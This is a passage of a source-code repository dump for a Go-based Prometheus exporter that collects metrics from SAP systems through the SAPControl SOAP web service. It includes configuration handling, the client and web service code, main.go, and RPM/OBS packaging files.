h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 113 | golang.org/x/tools v0.1.1/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= 114 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 115 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 116 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 117 | google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg= 118 | google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw= 119 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 120 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= 121 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 122 | gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA= 123 | gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= 124 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 125 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 126 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 127 | -------------------------------------------------------------------------------- /internal/config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "net/url" 5 | "regexp" 6 | 7 | "github.com/pkg/errors" 8 | flag "github.com/spf13/pflag" 9 | "github.com/spf13/viper" 10 | ) 11 | 12 | func New(flagSet *flag.FlagSet) (*viper.Viper, error) { 13 | config := viper.New() 14 | 15 | err := config.BindPFlags(flagSet) 16 | if err != nil { 17 | return nil, errors.Wrap(err, "could not bind config to CLI flags") 18 | } 19 | 20 | // try to get the "config" value from the bound "config" CLI flag 21 | path := config.GetString("config") 22 | if path != "" { 23 | // try to manually load the configuration from the given path 24 | err = loadConfigurationFromFile(config, path) 25 | } else { 26 | // otherwise try viper's auto-discovery 27 | err = loadConfigurationAutomatically(config) 28 | } 29 | 30 | if err != nil { 31 | return nil, errors.Wrap(err, "could not load configuration file") 32 | } 33 | 34 | setLogLevel(config.GetString("log-level")) 35 | 36 | sanitizeSapControlUrl(config) 37 | 38 | err = validateSapControlUrl(config) 39 | if err != nil { 40 | return nil, errors.Wrap(err, "invalid config value for sap-control-url") 41 | } 42 | 43 | return config, nil 44 | } 45 | 46 | // returns an error in case the sap-control-url config value cannot be parsed as URL 47 | func validateSapControlUrl(config *viper.Viper) error { 48 | sapControlUrl := config.GetString("sap-control-url") 49 | if _, err := url.ParseRequestURI(sapControlUrl); err != nil { 50 | return errors.Wrap(err, "could not parse uri") 51 | } 52 | return nil 53 | } 54 | 55 | // automatically adds an http:// prefix in case it's missing from the value, to avoid the downstream consumer 56 | // throw errors due to missing schema URL component 57 | func sanitizeSapControlUrl(config *viper.Viper) { 58 | sapControlUrl := config.GetString("sap-control-url") 59 | hasScheme, _ := regexp.MatchString("^https?://", sapControlUrl) 60 | if !hasScheme { 61 | sapControlUrl = "http://" + sapControlUrl 62 | config.Set("sap-control-url", sapControlUrl) 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /internal/config/loader.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "os" 5 | 6 | "github.com/pkg/errors" 7 | log "github.com/sirupsen/logrus" 8 | "github.com/spf13/viper" 9 | ) 10 | 11 | func loadConfigurationAutomatically(config *viper.Viper) error { 12 | config.SetConfigName("sap_host_exporter") 13 | config.AddConfigPath("./") 14 | config.AddConfigPath("$HOME/.config/") 15 | config.AddConfigPath("/etc/") 16 | config.AddConfigPath("/usr/etc/") 17 | 18 | err := config.ReadInConfig() 19 | if err == nil { 20 | log.Info("Using config file: ", config.ConfigFileUsed()) 21 | return nil 22 | } 23 | 24 | if _, ok := err.(viper.ConfigFileNotFoundError); ok { 25 | log.Infof("Could not discover configuration file: %s", err) 26 | log.Info("Default configuration values will be used") 27 | return nil 28 | } 29 | 30 | return errors.Wrap(err, "could not load automatically discovered config file") 31 | } 32 | 33 | // loads configuration from an explicit file path 34 | func loadConfigurationFromFile(config *viper.Viper, path string) error { 35 | // we hard-code the config type to yaml, otherwise ReadConfig will not load the values 36 | // see https://github.com/spf13/viper/issues/316 37 | config.SetConfigType("yaml") 38 | 39 | file, err := os.Open(path) 40 | if err != nil { 41 | return errors.Wrap(err, "could not open file") 42 | } 43 | defer file.Close() 44 | 45 | err = config.ReadConfig(file) 46 | if err != nil { 47 | return errors.Wrap(err, "could not read file") 48 | } 49 | 50 | log.Info("Using config file: ", path) 51 | 52 | return nil 53 | } 54 | -------------------------------------------------------------------------------- /internal/config/log.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import log "github.com/sirupsen/logrus" 4 | 5 | func setLogLevel(level string) { 6 | switch level { 7 | case "error": 8 | log.SetLevel(log.ErrorLevel) 9 | case "warn": 10 | log.SetLevel(log.WarnLevel) 11 | case "info": 12 | log.SetLevel(log.InfoLevel) 13 | case "debug": 14 | log.SetLevel(log.DebugLevel) 15 | default: 16 | log.Warnln("Unrecognized minimum log level; using 'info' as default") 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /internal/landing.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | import "net/http" 4 | 5 | func Landing(w http.ResponseWriter, r *http.Request) { 6 | w.Write([]byte(` 7 | 8 | 9 | SAP Host Exporter 10 | 11 | 12 |

SAP Host Exporter

13 |

Prometheus exporter for SAP systems

14 | 18 | 19 | 20 | `)) 21 | } 22 | -------------------------------------------------------------------------------- /lib/sapcontrol/client.go: -------------------------------------------------------------------------------- 1 | package sapcontrol 2 | 3 | import ( 4 | "context" 5 | "net" 6 | "net/http" 7 | 8 | "github.com/hooklift/gowsdl/soap" 9 | "github.com/spf13/viper" 10 | ) 11 | 12 | func NewSoapClient(config *viper.Viper) *soap.Client { 13 | socket := config.GetString("sap-control-uds") 14 | 15 | if socket != "" { 16 | udsClient := &http.Client{ 17 | Transport: &http.Transport{ 18 | DialContext: func(ctx context.Context, _, _ string) (net.Conn, error) { 19 | d := net.Dialer{} 20 | return d.DialContext(ctx, "unix", socket) 21 | }, 22 | }, 23 | } 24 | // The url used here is just phony: 25 | // we need a well formed url to create the instance but the above DialContext function won't actually use it. 26 | return soap.NewClient("http://unix", soap.WithHTTPClient(udsClient)) 27 | } 28 | 29 | client := soap.NewClient( 30 | config.GetString("sap-control-url"), 31 | soap.WithBasicAuth( 32 | config.GetString("sap-control-user"), 33 | config.GetString("sap-control-password"), 34 | ), 35 | ) 36 | return client 37 | } 38 | -------------------------------------------------------------------------------- /lib/sapcontrol/current_instance.go: -------------------------------------------------------------------------------- 1 | package sapcontrol 2 | 3 | import ( 4 | "fmt" 5 | "math" 6 | "strconv" 7 | 8 | "github.com/pkg/errors" 9 | ) 10 | 11 | // this structure will be used for static labels, common to all the metrics 12 | type CurrentSapInstance struct { 13 | SID string 14 | Number int32 15 | Name string 16 | Hostname string 17 | } 18 | 19 | func (i *CurrentSapInstance) String() string { 20 | return fmt.Sprintf("SID: %s, Name: %s, Number: %d, Hostname: %s", i.SID, i.Name, i.Number, i.Hostname) 21 | } 22 | 23 | func (s *webService) GetCurrentInstance() (*CurrentSapInstance, error) { 24 | var err error 25 | 26 | // since the information we want here doesn't change over time, we only want to execute the remote call once 27 | s.once.Do(func() { 28 | var response *GetInstancePropertiesResponse 29 | response, err = s.GetInstanceProperties() 30 | 31 | if err != nil { 32 | err = errors.Wrap(err, "could not perform GetInstanceProperties query") 33 | return 34 | } 35 | 36 | s.currentSapInstance = &CurrentSapInstance{} 37 | 38 | for _, prop := range response.Properties { 39 | switch prop.Property { 40 | case "SAPSYSTEM": 41 | var num int64 42 | num, err = strconv.ParseInt(prop.Value, 10, 32) 43 | if err != nil { 44 | err = errors.Wrap(err, "could not parse instance number to int32") 45 | return 46 | } 47 | if num < math.MinInt32 || num > math.MaxInt32 { 48 | err = errors.New("parsed instance number out of int32 range") 49 | return 50 | } 51 | s.currentSapInstance.Number = int32(num) 52 | case "SAPSYSTEMNAME": 53 | s.currentSapInstance.SID = prop.Value 54 | case "INSTANCE_NAME": 55 | s.currentSapInstance.Name = prop.Value 56 | case "SAPLOCALHOST": 57 | s.currentSapInstance.Hostname = prop.Value 58 | } 59 | } 60 | }) 61 | 62 | return s.currentSapInstance, err 63 | } 64 | -------------------------------------------------------------------------------- /lib/sapcontrol/webservice.go: -------------------------------------------------------------------------------- 1 | package sapcontrol 2 | 3 | import ( 4 | "encoding/xml" 5 | "sync" 6 | 7 | "github.com/hooklift/gowsdl/soap" 8 | "github.com/pkg/errors" 9 | ) 10 | 11 | //go:generate mockgen -destination ../../test/mock_sapcontrol/webservice.go github.com/writhingretr/sap_host_exporter/lib/sapcontrol WebService 12 | 13 | // the main interface exposed by this package 14 | type WebService interface { 15 | /* Returns a list of all processes directly started by the webservice according to the SAP start profile. */ 16 | GetProcessList() (*GetProcessListResponse, error) 17 | 18 | /* Returns enque statistic. */ 19 | EnqGetStatistic() (*EnqGetStatisticResponse, error) 20 | 21 | /* Returns a list of queue information of work processes and icm (similar to dpmon). */ 22 | GetQueueStatistic() (*GetQueueStatisticResponse, error) 23 | 24 | /* Returns a list of SAP instances of the SAP system. */ 25 | GetSystemInstanceList() (*GetSystemInstanceListResponse, error) 26 | 27 | /* Returns a list of available instance features and information how to get it. */ 28 | GetInstanceProperties() (*GetInstancePropertiesResponse, error) 29 | 30 | /* Custom method to get the current instance data. This is not something natively exposed by the webservice. */ 31 | GetCurrentInstance() (*CurrentSapInstance, error) 32 | } 33 | 34 | type STATECOLOR string 35 | type STATECOLOR_CODE int 36 | 37 | const ( 38 | STATECOLOR_GRAY STATECOLOR = "SAPControl-GRAY" 39 | STATECOLOR_GREEN STATECOLOR = "SAPControl-GREEN" 40 | STATECOLOR_YELLOW STATECOLOR = "SAPControl-YELLOW" 41 | STATECOLOR_RED STATECOLOR = "SAPControl-RED" 42 | STATECOLOR_CODE_GRAY STATECOLOR_CODE = 1 43 | STATECOLOR_CODE_GREEN STATECOLOR_CODE = 2 44 | STATECOLOR_CODE_YELLOW STATECOLOR_CODE = 3 45 | STATECOLOR_CODE_RED STATECOLOR_CODE = 4 46 | ) 47 | 48 | type EnqGetStatistic struct { 49 | XMLName xml.Name `xml:"urn:SAPControl EnqGetStatistic"` 50 | } 51 | 52 | type EnqGetStatisticResponse struct { 53 | XMLName xml.Name `xml:"urn:SAPControl EnqStatistic"` 54 | OwnerNow int32 `xml:"owner-now,omitempty" json:"owner-now,omitempty"` 55 | OwnerHigh int32 `xml:"owner-high,omitempty" json:"owner-high,omitempty"` 56 | OwnerMax int32 `xml:"owner-max,omitempty" json:"owner-max,omitempty"` 57 | OwnerState STATECOLOR `xml:"owner-state,omitempty" json:"owner-state,omitempty"` 58 | ArgumentsNow int32 `xml:"arguments-now,omitempty" json:"arguments-now,omitempty"` 59 | ArgumentsHigh int32 `xml:"arguments-high,omitempty" json:"arguments-high,omitempty"` 60 | ArgumentsMax int32 `xml:"arguments-max,omitempty" json:"arguments-max,omitempty"` 61 | ArgumentsState STATECOLOR `xml:"arguments-state,omitempty" json:"arguments-state,omitempty"` 62 | LocksNow int32 `xml:"locks-now,omitempty" json:"locks-now,omitempty"` 63 | LocksHigh int32 `xml:"locks-high,omitempty" json:"locks-high,omitempty"` 64 | LocksMax int32 `xml:"locks-max,omitempty" json:"locks-max,omitempty"` 65 | LocksState STATECOLOR `xml:"locks-state,omitempty" json:"locks-state,omitempty"` 66 | EnqueueRequests int64 `xml:"enqueue-requests,omitempty" json:"enqueue-requests,omitempty"` 67 | EnqueueRejects int64 `xml:"enqueue-rejects,omitempty" json:"enqueue-rejects,omitempty"` 68 | EnqueueErrors int64 `xml:"enqueue-errors,omitempty" json:"enqueue-errors,omitempty"` 69 | DequeueRequests int64 `xml:"dequeue-requests,omitempty" json:"dequeue-requests,omitempty"` 70 | DequeueErrors int64 `xml:"dequeue-errors,omitempty" json:"dequeue-errors,omitempty"` 71 | DequeueAllRequests int64 `xml:"dequeue-all-requests,omitempty" json:"dequeue-all-requests,omitempty"` 72 | CleanupRequests int64 `xml:"cleanup-requests,omitempty" json:"cleanup-requests,omitempty"` 73 | BackupRequests int64 `xml:"backup-requests,omitempty" json:"backup-requests,omitempty"` 74 | ReportingRequests int64 `xml:"reporting-requests,omitempty" json:"reporting-requests,omitempty"` 75 | CompressRequests int64 `xml:"compress-requests,omitempty" json:"compress-requests,omitempty"` 76 | VerifyRequests int64 `xml:"verify-requests,omitempty" json:"verify-requests,omitempty"` 77 | LockTime float64 `xml:"lock-time,omitempty" json:"lock-time,omitempty"` 78 | LockWaitTime float64 `xml:"lock-wait-time,omitempty" json:"lock-wait-time,omitempty"` 79 | ServerTime float64 `xml:"server-time,omitempty" json:"server-time,omitempty"` 80 | ReplicationState STATECOLOR `xml:"replication-state,omitempty" json:"replication-state,omitempty"` 81 | } 82 | 83 | type GetInstanceProperties struct { 84 | XMLName xml.Name `xml:"urn:SAPControl GetInstanceProperties"` 85 | } 86 | 87 | type GetInstancePropertiesResponse struct { 88 | XMLName xml.Name `xml:"urn:SAPControl GetInstancePropertiesResponse"` 89 | Properties []*InstanceProperty `xml:"properties>item,omitempty" json:"properties>item,omitempty"` 90 | } 91 | 92 | type GetProcessList struct { 93 | XMLName xml.Name `xml:"urn:SAPControl GetProcessList"` 94 | } 95 | 96 | type GetProcessListResponse struct { 97 | XMLName xml.Name `xml:"urn:SAPControl GetProcessListResponse"` 98 | Processes []*OSProcess `xml:"process>item,omitempty" json:"process>item,omitempty"` 99 | } 100 | 101 | type GetQueueStatistic struct { 102 | XMLName xml.Name `xml:"urn:SAPControl GetQueueStatistic"` 103 | } 104 | 105 | type GetQueueStatisticResponse struct { 106 | XMLName xml.Name `xml:"urn:SAPControl GetQueueStatisticResponse"` 107 | Queues []*TaskHandlerQueue `xml:"queue>item,omitempty" json:"queue>item,omitempty"` 108 | } 109 | 110 | type GetSystemInstanceList struct { 111 | XMLName xml.Name `xml:"urn:SAPControl GetSystemInstanceList"` 112 | Timeout int32 `xml:"timeout,omitempty" json:"timeout,omitempty"` 113 | } 114 | 115 | type GetSystemInstanceListResponse struct { 116 | XMLName xml.Name `xml:"urn:SAPControl GetSystemInstanceListResponse"` 117 | Instances []*SAPInstance `xml:"instance>item,omitempty" json:"instance>item,omitempty"` 118 | } 119 | 120 | type OSProcess struct { 121 | Name string `xml:"name,omitempty" json:"name,omitempty"` 122 | Description string `xml:"description,omitempty" json:"description,omitempty"` 123 | Dispstatus STATECOLOR `xml:"dispstatus,omitempty" json:"dispstatus,omitempty"` 124 | Textstatus string `xml:"textstatus,omitempty" json:"textstatus,omitempty"` 125 | Starttime string `xml:"starttime,omitempty" json:"starttime,omitempty"` 126 | Elapsedtime string `xml:"elapsedtime,omitempty" json:"elapsedtime,omitempty"` 127 | Pid int32 `xml:"pid,omitempty" json:"pid,omitempty"` 128 | } 129 | 130 | type InstanceProperty struct { 131 | Property string `xml:"property,omitempty" json:"property,omitempty"` 132 | Propertytype string `xml:"propertytype,omitempty" json:"propertytype,omitempty"` 133 | Value string `xml:"value,omitempty" json:"value,omitempty"` 134 | } 135 | 136 | type SAPInstance struct { 137 | Hostname string `xml:"hostname,omitempty" json:"hostname,omitempty"` 138 | InstanceNr int32 `xml:"instanceNr,omitempty" json:"instanceNr,omitempty"` 139 | HttpPort int32 `xml:"httpPort,omitempty" json:"httpPort,omitempty"` 140 | HttpsPort int32 `xml:"httpsPort,omitempty" json:"httpsPort,omitempty"` 141 | StartPriority string `xml:"startPriority,omitempty" json:"startPriority,omitempty"` 142 | Features string `xml:"features,omitempty" json:"features,omitempty"` 143 | Dispstatus STATECOLOR `xml:"dispstatus,omitempty" json:"dispstatus,omitempty"` 144 | } 145 | 146 | type TaskHandlerQueue struct { 147 | Type string `xml:"Typ,omitempty" json:"Typ,omitempty"` 148 | Now int32 `xml:"Now,omitempty" json:"Now,omitempty"` 149 | High int32 `xml:"High,omitempty" json:"High,omitempty"` 150 | Max int32 `xml:"Max,omitempty" json:"Max,omitempty"` 151 | Writes int32 `xml:"Writes,omitempty" json:"Writes,omitempty"` 152 | Reads int32 `xml:"Reads,omitempty" json:"Reads,omitempty"` 153 | } 154 | 155 | type webService struct { 156 | client *soap.Client 157 | once *sync.Once 158 | currentSapInstance *CurrentSapInstance 159 | } 160 | 161 | // constructor of a WebService interface 162 | func NewWebService(client *soap.Client) WebService { 163 | return &webService{ 164 | client: client, 165 | once: &sync.Once{}, 166 | } 167 | } 168 | 169 | // implements WebService.GetInstanceProperties() 170 | func (s *webService) GetInstanceProperties() (*GetInstancePropertiesResponse, error) { 171 | request := &GetInstanceProperties{} 172 | response := &GetInstancePropertiesResponse{} 173 | err := s.client.Call("''", request, response) 174 | if err != nil { 175 | return nil, err 176 | } 177 | 178 | return response, nil 179 | } 180 | 181 | // implements WebService.GetProcessList() 182 | func (s *webService) GetProcessList() (*GetProcessListResponse, error) { 183 | request := &GetProcessList{} 184 | response := &GetProcessListResponse{} 185 | err := s.client.Call("''", request, response) 186 | if err != nil { 187 | return nil, err 188 | } 189 | 190 | return response, nil 191 | } 192 | 193 | // implements WebService.GetSystemInstanceList() 194 | func (s *webService) GetSystemInstanceList() (*GetSystemInstanceListResponse, error) { 195 | request := &GetSystemInstanceList{} 196 | response := &GetSystemInstanceListResponse{} 197 | err := s.client.Call("''", request, response) 198 | if err != nil { 199 | return nil, err 200 | } 201 | 202 | return response, nil 203 | } 204 | 205 | // implements WebService.EnqGetStatistic() 206 | func (s *webService) EnqGetStatistic() (*EnqGetStatisticResponse, error) { 207 | request := &EnqGetStatistic{} 208 | response := &EnqGetStatisticResponse{} 209 | err := s.client.Call("''", request, response) 210 | if err != nil { 211 | return nil, err 212 | } 213 | 214 | return response, nil 215 | } 216 | 217 | // implements WebService.GetQueueStatistic() 218 | func (s *webService) GetQueueStatistic() (*GetQueueStatisticResponse, error) { 219 | request := &GetQueueStatistic{} 220 | response := &GetQueueStatisticResponse{} 221 | err := s.client.Call("''", request, response) 222 | if err != nil { 223 | return nil, err 224 | } 225 | 226 | return response, nil 227 | } 228 | 229 | // makes the STATECOLOR values more metric friendly 230 | func StateColorToFloat(statecolor STATECOLOR) (float64, error) { 231 | switch statecolor { 232 | case STATECOLOR_GRAY: 233 | return float64(STATECOLOR_CODE_GRAY), nil 234 | case STATECOLOR_GREEN: 235 | return float64(STATECOLOR_CODE_GREEN), nil 236 | case STATECOLOR_YELLOW: 237 | return float64(STATECOLOR_CODE_YELLOW), nil 238 | case STATECOLOR_RED: 239 | return float64(STATECOLOR_CODE_RED), nil 240 | default: 241 | return -1, errors.New("Invalid STATECOLOR value") 242 | } 243 | } 244 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "net/http" 6 | "os" 7 | "runtime" 8 | 9 | "github.com/writhingretr/sap_host_exporter/collector/registry" 10 | "github.com/writhingretr/sap_host_exporter/collector/start_service" 11 | "github.com/writhingretr/sap_host_exporter/internal" 12 | "github.com/writhingretr/sap_host_exporter/internal/config" 13 | "github.com/writhingretr/sap_host_exporter/lib/sapcontrol" 14 | "github.com/pkg/errors" 15 | "github.com/prometheus/client_golang/prometheus" 16 | "github.com/prometheus/client_golang/prometheus/promhttp" 17 | log "github.com/sirupsen/logrus" 18 | flag "github.com/spf13/pflag" 19 | ) 20 | 21 | var ( 22 | // the released version 23 | version string = "development" 24 | // the time the binary was built 25 | buildDate string = "at unknown time" 26 | // global --help flag 27 | helpFlag *bool 28 | // global --version flag 29 | versionFlag *bool 30 | ) 31 | 32 | func init() { 33 | flag.String("port", "9680", "The port number to listen on for HTTP requests") 34 | flag.String("address", "0.0.0.0", "The address to listen on for HTTP requests") 35 | flag.String("log-level", "info", "The minimum logging level; levels are, in ascending order: debug, info, warn, error") 36 | flag.String("sap-control-url", "localhost:50013", "The URL of the SAPControl SOAP web service, e.g. $HOST:$PORT") 37 | flag.String("sap-control-uds", "", "The path to the SAPControl Unix Domain Socket. If set, this will be used instead of the URL.") 38 | flag.StringP("config", "c", "", "The path to a custom configuration file. NOTE: it must be in yaml format.") 39 | flag.CommandLine.SortFlags = false 40 | 41 | helpFlag = flag.BoolP("help", "h", false, "show this help message") 42 | versionFlag = flag.Bool("version", false, "show version and build information") 43 | } 44 | 45 | func main() { 46 | flag.Parse() 47 | 48 | switch { 49 | case *helpFlag: 50 | showHelp() 51 | case *versionFlag: 52 | showVersion() 53 | default: 54 | run() 55 | } 56 | } 57 | 58 | func run() { 59 | var err error 60 | 61 | globalConfig, err := config.New(flag.CommandLine) 62 | if err != nil { 63 | log.Fatalf("Could not initialize config: %s", err) 64 | } 65 | 66 | client := sapcontrol.NewSoapClient(globalConfig) 67 | webService := sapcontrol.NewWebService(client) 68 | currentSapInstance, err := webService.GetCurrentInstance() 69 | if err != nil { 70 | log.Fatal(errors.Wrap(err, "SAPControl web service error")) 71 | } 72 | 73 | log.Infof("Monitoring SAP Instance %s", currentSapInstance) 74 | 75 | startServiceCollector, err := start_service.NewCollector(webService) 76 | if err != nil { 77 | log.Warn(err) 78 | } else { 79 | prometheus.MustRegister(startServiceCollector) 80 | log.Info("Start Service collector registered") 81 | } 82 | 83 | err = registry.RegisterOptionalCollectors(webService) 84 | if err != nil { 85 | log.Fatal(err) 86 | } 87 | 88 | // if we're not in debug log level, we unregister the Go runtime metrics collector that gets registered by default 89 | if !log.IsLevelEnabled(log.DebugLevel) { 90 | prometheus.Unregister(prometheus.NewGoCollector()) 91 | } 92 | 93 | fullListenAddress := fmt.Sprintf("%s:%s", globalConfig.Get("address"), globalConfig.Get("port")) 94 | 95 | http.HandleFunc("/", internal.Landing) 96 | http.Handle("/metrics", promhttp.Handler()) 97 | 98 | log.Infof("Serving metrics on %s", fullListenAddress) 99 | log.Fatal(http.ListenAndServe(fullListenAddress, nil)) 100 | } 101 | 102 | func showHelp() { 103 | flag.Usage() 104 | os.Exit(0) 105 | } 106 | 107 | func showVersion() { 108 | fmt.Printf("%s version\nbuilt with %s %s/%s %s\n", version, runtime.Version(), runtime.GOOS, runtime.GOARCH, buildDate) 109 | os.Exit(0) 110 | } 111 | -------------------------------------------------------------------------------- /packaging/obs/grafana-sap-netweaver-dashboards/_service: -------------------------------------------------------------------------------- 1 | 2 | 3 | https://github.com/%%REPOSITORY%%.git 4 | git 5 | %%REVISION%% 6 | dashboards 7 | LICENSE 8 | 1.0.3+git.%ct.%h 9 | grafana-sap-netweaver-dashboards 10 | 11 | 12 | grafana-sap-netweaver-dashboards.spec 13 | 14 | 15 | *.tar 16 | gz 17 | 18 | 19 | -------------------------------------------------------------------------------- /packaging/obs/grafana-sap-netweaver-dashboards/grafana-sap-netweaver-dashboards.changes: -------------------------------------------------------------------------------- 1 | ------------------------------------------------------------------- 2 | Fri Oct 2 12:48:30 UTC 2020 - Dario Maiocchi 3 | 4 | - Release 1.0.3 5 | * Add variable for prometheus datasource (bsc#1177229) 6 | 7 | ------------------------------------------------------------------- 8 | Wed Sep 16 13:10:30 UTC 2020 - Dario Maiocchi 9 | 10 | - Release 1.0.2 11 | * Remove useless macro and fix typo in the meanwhile 12 | 13 | ------------------------------------------------------------------- 14 | Wed Aug 5 11:31:49 UTC 2020 - Stefano Torresi 15 | 16 | - Release 1.0.1 17 | * Update schema to Grafana 7 18 | * Update title and description 19 | 20 | ------------------------------------------------------------------- 21 | Wed Jul 15 14:23:56 UTC 2020 - Stefano Torresi 22 | 23 | - First release 24 | -------------------------------------------------------------------------------- /packaging/obs/grafana-sap-netweaver-dashboards/grafana-sap-netweaver-dashboards.spec: -------------------------------------------------------------------------------- 1 | # 2 | # Copyright 2020 SUSE LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | # 16 | Name: grafana-sap-netweaver-dashboards 17 | # Version will be processed via set_version source service 18 | Version: 0 19 | Release: 0 20 | License: Apache-2.0 21 | Summary: Grafana Dashboards displaying metrics about a SAP NetWeaver landscape. 22 | Group: System/Monitoring 23 | Url: https://github.com/writhingretr/sap_host_exporter 24 | Source: %{name}-%{version}.tar.gz 25 | BuildArch: noarch 26 | Requires: grafana-sap-providers 27 | BuildRequires: grafana-sap-providers 28 | 29 | %description 30 | Grafana Dashboards displaying metrics about a SAP NetWeaver landscape. 31 | 32 | %prep 33 | %setup -q 34 | 35 | %build 36 | 37 | %install 38 | install -dm0755 %{buildroot}%{_localstatedir}/lib/grafana/dashboards/sles4sap 39 | install -m644 dashboards/*.json %{buildroot}%{_localstatedir}/lib/grafana/dashboards/sles4sap 40 | 41 | %files 42 | %defattr(-,root,root) 43 | %doc dashboards/README.md 44 | %license LICENSE 45 | %attr(0755,grafana,grafana) %dir %{_localstatedir}/lib/grafana/dashboards/sles4sap 46 | %attr(0644,grafana,grafana) %config %{_localstatedir}/lib/grafana/dashboards/sles4sap/* 47 | 48 | %changelog 49 | -------------------------------------------------------------------------------- /packaging/obs/prometheus-sap_host_exporter/_service: -------------------------------------------------------------------------------- 1 | 2 | 3 | https://github.com/%%REPOSITORY%%.git 4 | git 5 | %%REVISION%% 6 | .git 7 | .github 8 | dashboards 9 | packaging/obs/grafana-sap-netweaver-dashboards 10 | %%VERSION%% 11 | prometheus-sap_host_exporter 12 | 13 | 14 | prometheus-sap_host_exporter.spec 15 | 16 | 17 | *.tar 18 | gz 19 | 20 | 21 | -------------------------------------------------------------------------------- /packaging/obs/prometheus-sap_host_exporter/prometheus-sap_host_exporter.spec: -------------------------------------------------------------------------------- 1 | # 2 | # Copyright 2020-2024 SUSE LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | # 16 | Name: prometheus-sap_host_exporter 17 | # Version will be processed via set_version source service 18 | Version: 0 19 | Release: 0 20 | License: Apache-2.0 21 | Summary: Prometheus exporter for SAP hosts 22 | Group: System/Monitoring 23 | Url: https://github.com/writhingretr/sap_host_exporter 24 | Source: %{name}-%{version}.tar.gz 25 | Source1: vendor.tar.gz 26 | ExclusiveArch: aarch64 x86_64 ppc64le s390x 27 | BuildRoot: %{_tmppath}/%{name}-%{version}-build 28 | BuildRequires: golang(API) >= 1.23 29 | Provides: sap_host_exporter = %{version}-%{release} 30 | Provides: prometheus(sap_host_exporter) = %{version}-%{release} 31 | 32 | %description 33 | A Prometheus metrics exporter that connects to the SAPControl web interface 34 | to collect data about SAP systems like NetWeaver and S4/HANA. 35 | 36 | %prep 37 | %setup -q # unpack project sources 38 | %setup -q -T -D -a 1 # unpack go dependencies in vendor.tar.gz, which was prepared by the source services 39 | 40 | %define shortname sap_host_exporter 41 | 42 | %build 43 | %ifarch s390x 44 | export CGO_ENABLED=1 45 | %else 46 | export CGO_ENABLED=0 47 | %endif 48 | go build -mod=vendor \ 49 | -buildmode=pie \ 50 | -ldflags="-s -w -X main.version=%{version}" \ 51 | -o %{shortname} 52 | 53 | %install 54 | 55 | # Install the binary. 56 | install -D -m 0755 %{shortname} "%{buildroot}%{_bindir}/%{shortname}" 57 | 58 | # Install the systemd unit 59 | install -D -m 0644 %{shortname}@.service %{buildroot}%{_unitdir}/%{name}@.service 60 | 61 | # Install the default config 62 | install -D -m 0600 doc/%{shortname}.yaml "%{buildroot}/etc/%{shortname}/default.yaml" 63 | 64 | # Install compat wrapper for legacy init systems 65 | install -Dd -m 0755 %{buildroot}%{_sbindir} 66 | ln -s /usr/sbin/service %{buildroot}%{_sbindir}/rc%{name} 67 | 68 | # Install supportconfig plugin 69 | install -D -m 755 supportconfig-sap_host_exporter %{buildroot}%{_prefix}/lib/supportconfig/plugins/%{shortname} 70 | 71 | 72 | %pre 73 | %service_add_pre %{name}@.service 74 | 75 | %post 76 | %service_add_post %{name}@.service 77 | 78 | %preun 79 | %service_del_preun %{name}@.service 80 | 81 | %postun 82 | 